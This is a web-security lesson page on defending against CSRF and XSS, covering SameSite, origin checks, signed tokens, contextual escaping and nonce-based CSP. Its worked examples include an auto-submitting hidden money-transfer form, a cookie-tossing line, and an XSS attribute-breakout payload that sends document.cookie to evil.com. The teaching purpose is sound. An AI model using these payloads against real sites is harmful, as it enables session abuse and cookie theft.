Sign in

Libre University uses your GitHub account. Signing in is only needed to sit a final test, so the score is kept on your profile.

Defending against CSRF and XSS

Two attacks take a session out of a browser, and they work in opposite directions.

The last two lessons put a bearer secret in the browser. This lesson is about the two ways it gets used against you. If you have arrived here directly, the setting is that a cookie holds a session token, the token is marked HttpOnly and Secure, and the server treats any request carrying a valid one as coming from that user.

The same-origin policy, and the hole in it

An origin is the triple of scheme, host and port. https://example.com and https://example.com:8443 are different origins, and so are https://example.com and https://sub.example.com. The same-origin policy is the browser's rule that script from one origin cannot read data from another.

Read is the operative word. The policy governs reading responses, not sending requests, and the whole of CSRF lives in that gap. A page on evil.com can cause your browser to send a request to bank.com and cannot see what comes back, which for a great many actions costs the attacker nothing, because the action itself was the goal.

Cookies make the gap exploitable. The browser attaches a cookie according to the destination, not according to who initiated the request, so a form posted from evil.com to bank.com/transfer arrives with the user's bank.com session cookie and is indistinguishable, at the server, from the user clicking a real button. That property is called an ambient credential, and it is what makes cookies convenient and what makes them forgeable.

CORS is frequently misunderstood here. Cross-origin resource sharing protects nothing; it is a mechanism for relaxing the same-origin policy so a server can opt into letting another origin read its responses. A permissive CORS policy does not create CSRF and a restrictive one does not prevent it, because CSRF never needed the response.

How a cross-site request forges intent

The classic attack is a form the victim never sees, on a page they were tricked into loading.

<form action="https://bank.com/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.getElementById("f").submit()</script>

The victim loads a page on evil.com, the form posts itself, the browser attaches the bank.com cookie, and the transfer happens. The victim sees a blank page or an error, by which time it is done.

What limits the attack is which requests a page may make cross-origin without the browser asking permission first. Requests that need no CORS preflight are the ones a plain HTML form or an image tag could always have made: the method is GET, HEAD or POST, and if POST the Content-Type is one of application/x-www-form-urlencoded, multipart/form-data or text/plain. Anything else, including application/json or a custom header, triggers a preflight OPTIONS request that your server will not approve, so the real request is never sent.

That gives an accidental and much-abused defence. An API that accepts only application/json is hard to attack with a form, because a form cannot set that content type. Do not rely on it as your defence, because it fails the moment someone adds a convenience path that accepts form encoding, or a text/plain body that happens to parse as JSON. It is a useful property to have, not a control to depend on.

Example. Which of these cross-site requests from evil.com reach a bank.com handler with the session cookie attached, and which do not?

An <img src="https://bank.com/logout"> tag: yes. A GET is a simple request, the cookie goes, and if logout is a GET the attacker just signed the user out. A form posting application/x-www-form-urlencoded: yes, as above. A fetch with method: "POST" and Content-Type: application/json: no. That content type is not on the simple list, so the browser sends a preflight OPTIONS first, and unless the server explicitly permits evil.com and that header, the real request never leaves. A fetch with method: "DELETE": no, for the same reason, since only GET, HEAD and POST avoid a preflight.

Now you. An attacker writes fetch("https://bank.com/transfer", { method: "POST", body: "{\"to\":\"attacker\"}", headers: { "Content-Type": "text/plain" }, credentials: "include" }). Does the request arrive, and does that mean the site is vulnerable?

Answer

It arrives. text/plain is on the simple list, so there is no preflight, and credentials: "include" attaches the cookie. Whether the site is vulnerable depends on the server: if the handler parses the body as JSON regardless of the declared content type, which many frameworks do by default, the transfer succeeds and the site is vulnerable despite "we only accept JSON". If the handler rejects anything whose Content-Type is not exactly application/json, the request fails. The attacker cannot read the response either way, but for a transfer they do not need to.

SameSite, and the three gaps in it

SameSite tells the browser not to attach a cookie to requests coming from other sites, which attacks the problem at its root.

SameSite=Strict withholds the cookie on every cross-site request, including a plain link. SameSite=Lax withholds it except on top-level navigations using a safe method, so a link from an email works and a cross-site form post does not. SameSite=None restores the old behaviour and requires Secure.

Chrome made Lax the default for cookies with no SameSite attribute in version 80, released in February 2020, and other browsers have moved unevenly since. Set the attribute explicitly rather than relying on a default that varies with the visitor's browser.

Lax is a large improvement and it is not sufficient on its own, for three reasons worth knowing precisely.

Safe methods are still sent. Lax permits top-level navigation with GET. If any state-changing action in your application is reachable by GET, and GET /logout or GET /posts/12/delete are common, an attacker's link or redirect performs it. This is a reason to keep GET free of side effects that has nothing to do with REST aesthetics.

"Same site" is looser than "same origin". The boundary is the registrable domain, so blog.example.com and app.example.com are the same site, and a request from one to the other is not cross-site at all. Every subdomain you do not fully control is inside your SameSite perimeter.

There is a grace window on new cookies. Chrome's compatibility behaviour for cookies with no explicit SameSite allows them on top-level cross-site POSTs for the first two minutes after they are set, to avoid breaking single-sign-on flows that were built before the default changed. A freshly minted session is briefly exposed to exactly the attack the default was meant to stop. Setting SameSite=Lax explicitly avoids this behaviour, which is another reason not to lean on defaults.

So SameSite=Lax is the first layer and not the only one. For anything that moves money or changes credentials, add a second check.

Second layers: origin checks and tokens

The cheapest second layer reads headers the browser sets and the page cannot forge.

The Origin header carries the origin that initiated the request, and browsers send it on all cross-origin requests and on every POST, including same-origin ones. Script cannot set it. So:

function sameOrigin(request) {
  const origin = request.headers.get("origin");
  if (origin) return origin === "https://bank.com";
  // No Origin header: only plausible for same-origin navigations in older clients.
  const referer = request.headers.get("referer");
  return Boolean(referer) && new URL(referer).origin === "https://bank.com";
}

The order matters. Prefer Origin, fall back to Referer, and decide deliberately what to do when both are absent. Rejecting is the safe default for a state-changing endpoint; accepting because "some old proxy strips them" is how the check gets quietly disabled.

Newer and cleaner are the Fetch metadata headers, which browsers attach automatically and script cannot forge. Sec-Fetch-Site takes the values same-origin, same-site, cross-site or none, and Sec-Fetch-Mode says navigate, cors and so on. A resource-isolation policy at the edge of the application, rejecting anything with Sec-Fetch-Site: cross-site unless the mode is a top-level navigation with a safe method, blocks CSRF for every endpoint at once. Browsers that do not send the headers fall through to the older checks.

Origin checking covers most applications. A token is still the right answer in two situations: when requests may legitimately arrive from another origin you control, and when you cannot be confident every state-changing endpoint sits behind the check.

The synchronizer token pattern is the classic. The server generates a random value per session, stores it, and embeds it in every form. A submission without a matching token is rejected. It works because the attacker cannot read the token: reading it means reading a response from your origin, which is exactly what the same-origin policy prevents.

Double submit avoids storing anything. The server sets the token in a cookie and the page copies it into a form field, and the server checks the two match. The naive version is broken, and understanding why is worth more than the pattern itself. An attacker who controls any subdomain can set a cookie for the parent domain, so they choose a token value, plant it as a cookie in the victim's browser, and submit a form carrying the same value. Both halves match and the check passes. That is cookie tossing again, from the sessions lesson.

The repair is to bind the token to the session so that a value the attacker chose cannot be valid. Signed double submit puts HMAC(key, sessionId + "." + random) in the cookie along with the random part, and the server recomputes the MAC from the session it actually resolved. An attacker cannot produce a valid MAC for the victim's session, and a tossed cookie fails.

async function issueCsrf(sessionId, key) {
  const nonce = new Uint8Array(16);
  crypto.getRandomValues(nonce);
  const message = sessionId + "." + nonce.toBase64({ alphabet: "base64url" });
  const mac = await hmacBase64(key, message);
  return message + "." + mac;
}

Three details decide whether any of this works. Verify on every state-changing request rather than on the ones you remembered. Compare in constant time, using the loop from the first lesson. And issue a fresh token when the session rotates at login, or the token from the pre-login session will be checked against a session that no longer exists.

Example. A team ships SameSite=Lax and considers CSRF handled. Their application has an endpoint GET /account/delete?confirm=yes, reached from a confirmation page. Is it safe?

No. Lax permits top-level navigation with a safe method, and a GET is a safe method as far as the browser is concerned, whatever the handler does. An attacker sends the victim a link, or embeds a redirect, or uses <img src="https://app.example.com/account/delete?confirm=yes">, and the cookie is attached. The fix is not a CSRF token on the confirmation page: it is to make the deletion a POST or DELETE, at which point Lax withholds the cookie and the origin check applies. Any action with a side effect behind a GET is outside every CSRF defence you have.

Now you. A site uses naive double submit: a random csrf cookie with Domain=example.com, copied into a form field. An attacker has cross-site scripting on status.example.com, a static status page with no login. Can they perform CSRF against app.example.com?

Answer

Yes. From status.example.com they set document.cookie = "csrf=chosen; Domain=example.com; Path=/", which the browser accepts because the two share a registrable domain. The victim's browser now sends csrf=chosen to app.example.com, and the attacker's cross-site form carries csrf=chosen in the field. The two match and the check passes. The session cookie was never read, so HttpOnly did not help. Signed double submit fixes it, because the attacker cannot compute a MAC over the victim's session identifier, and the __Host- prefix on the CSRF cookie stops the tossing outright.

Cross-site scripting, and the three kinds

CSRF makes the browser send a request. XSS makes the browser run the attacker's code, inside your origin, with all the authority that implies. There is no attribute that limits what code on your origin may do, which is why XSS is the more serious of the two by a wide margin.

Reflected XSS puts attacker input into the response for the request that carried it. A search page echoing You searched for: <query> unescaped turns ?q=<script>...</script> into script on your page. Delivery needs a link, so it is one victim at a time.

Stored XSS puts it in the database and serves it to everybody. A comment, a display name, a support ticket that an administrator later opens. This is the worst case, and the version that takes over administrator accounts.

DOM-based XSS never involves the server's HTML at all. The page reads something attacker-controlled, typically location.hash or a query parameter, and writes it into the document in a way that executes.

// The bug: assigning attacker-controlled text into markup.
element.innerHTML = "Welcome back, " + new URLSearchParams(location.search).get("name");

Server-side escaping cannot help, because the server never saw the value. The fix is to stop building markup from strings: element.textContent = name inserts text as text, and any framework that renders values rather than markup does the same thing by construction.

Once script runs on your origin it can read the DOM, submit forms as the user, call your API with the ambient cookie, install a listener that captures the password on the next login, and do all of it without ever seeing the session token. HttpOnly matters enormously and is not a cure: it stops the token being exfiltrated and reused later from another machine, which downgrades permanent account theft to abuse for as long as the victim has the page open. That is a real and large difference, and it is a downgrade rather than a fix.

Escape at output, in the right context

The instinct is to clean input on the way in. It is the wrong layer, for a reason that generalises beyond this lesson: at input time you do not yet know where the value will be used, and the correct transformation depends entirely on where.

The same string needs five different treatments. In HTML text, < and & must become entities. In an attribute value, quotes must be escaped and the value quoted, or onmouseover=alert(1) slips out of the attribute. In a URL context, javascript: must be rejected outright, since no escaping makes it safe as an href. Inside a <script> block, HTML escaping is actively wrong and JavaScript string escaping is what is needed. In CSS, yet another set.

Escaping on input picks one of those five before you can know which is needed, mangles data that was never dangerous, and leaves the other four exposed. It also destroys the original: a user genuinely called O'Brien <the second> has a corrupted name in your database forever, and the double-escaping bugs that follow are a permanent tax.

So store what the user typed, unmodified, and escape when rendering, according to the context you are rendering into. Any template engine that escapes by default does this correctly, and the danger is the escape hatch each of them offers for inserting raw markup. If a feature genuinely needs user-supplied HTML, a rich text editor being the honest case, that is the one place for sanitisation, and it belongs in a library with a strict allowlist, run at render time rather than at storage time.

Example. A profile page renders <img src="/avatars/{{ user.avatar }}" alt="{{ user.name }}"> with a template engine that escapes HTML text but the developer has marked both values as raw. What can an attacker set as their name, and does escaping < and > fix it?

They set their name to " onerror="fetch('https://evil.com/?c='+document.cookie) and their avatar to something that fails to load. The injected text closes the alt attribute and starts a new one, and no angle bracket is needed anywhere. Escaping only < and > does not fix it, because the break-out used a double quote. Attribute context needs quotes escaped as well, and the attribute must be quoted in the template to begin with, since an unquoted attribute can be escaped with a space alone.

Now you. A page renders a value into a script block as <script>const user = "{{ name }}";</script>, with HTML escaping applied. Is that safe?

Answer

No. HTML escaping is the wrong context. A name of ";alert(1);// is not touched by HTML escaping, since it contains no <, > or &, and it closes the JavaScript string and appends a statement. Even correct JavaScript string escaping is not enough on its own, because the sequence </script> inside a string terminates the block at the HTML parser level before JavaScript ever sees it. The reliable pattern is to serialise the value as JSON with <, > and & escaped as unicode sequences, or better, to put the data in a data- attribute or a <script type="application/json"> block and read it with JSON.parse rather than generating code.

Content Security Policy, and defence in depth

Correct escaping everywhere is the fix. A Content Security Policy is what limits the damage on the day one place is missed, and on a large codebase one place is always missed.

The useful modern form is nonce-based, not an allowlist of hosts. Allowlists have been repeatedly bypassed, because a permitted CDN usually also hosts an old library with a JSONP endpoint or an Angular version that evaluates expressions, and either turns the allowlist into permission to run anything.

Content-Security-Policy:
  script-src 'nonce-r4nd0m' 'strict-dynamic';
  object-src 'none';
  base-uri 'none'

The server generates a fresh nonce per response, at least 128 bits from crypto.getRandomValues, and puts it on each legitimate <script> tag. Injected script carries no nonce and does not run. 'strict-dynamic' lets a nonced script load further scripts it trusts, which is what makes the policy usable with real bundlers. object-src 'none' removes plugin content, and base-uri 'none' stops an injected <base> tag redirecting every relative script URL to the attacker's server, which is a bypass people forget.

The nonce must be per response and unpredictable. A constant nonce in a static template is the same as no policy, because the attacker reads it from the page and puts it on their own tag.

Two honest limits. A CSP does not stop DOM-based XSS that executes through a sink already permitted, so innerHTML with a nonced script tag in it can still run under 'strict-dynamic'; Trusted Types is the mechanism aimed at that, by making the dangerous DOM sinks refuse plain strings. And a CSP is worthless if the injection point can emit a nonced script, which is why it is defence in depth and not a substitute for escaping.

Deploy with Content-Security-Policy-Report-Only and a reporting endpoint first, because a real policy on a real site will break something, and finding out from reports beats finding out from users.

What still gets in

Suppose all of it is in place: HttpOnly, Secure, SameSite=Lax, origin checks, signed CSRF tokens, contextual escaping, a nonce-based CSP. The session in the browser is now genuinely hard to steal or spend.

None of it touches how the session was created. An attacker who can trigger a password reset for an address they control, or who can guess that a verification link was issued and walk the token space, or who can register the same email twice, does not need to steal a session at all. They can get a legitimate one issued to them.

Those flows, sign-up, verification, reset and change of email, mint credentials by email and are where the real breaches happen. They are next.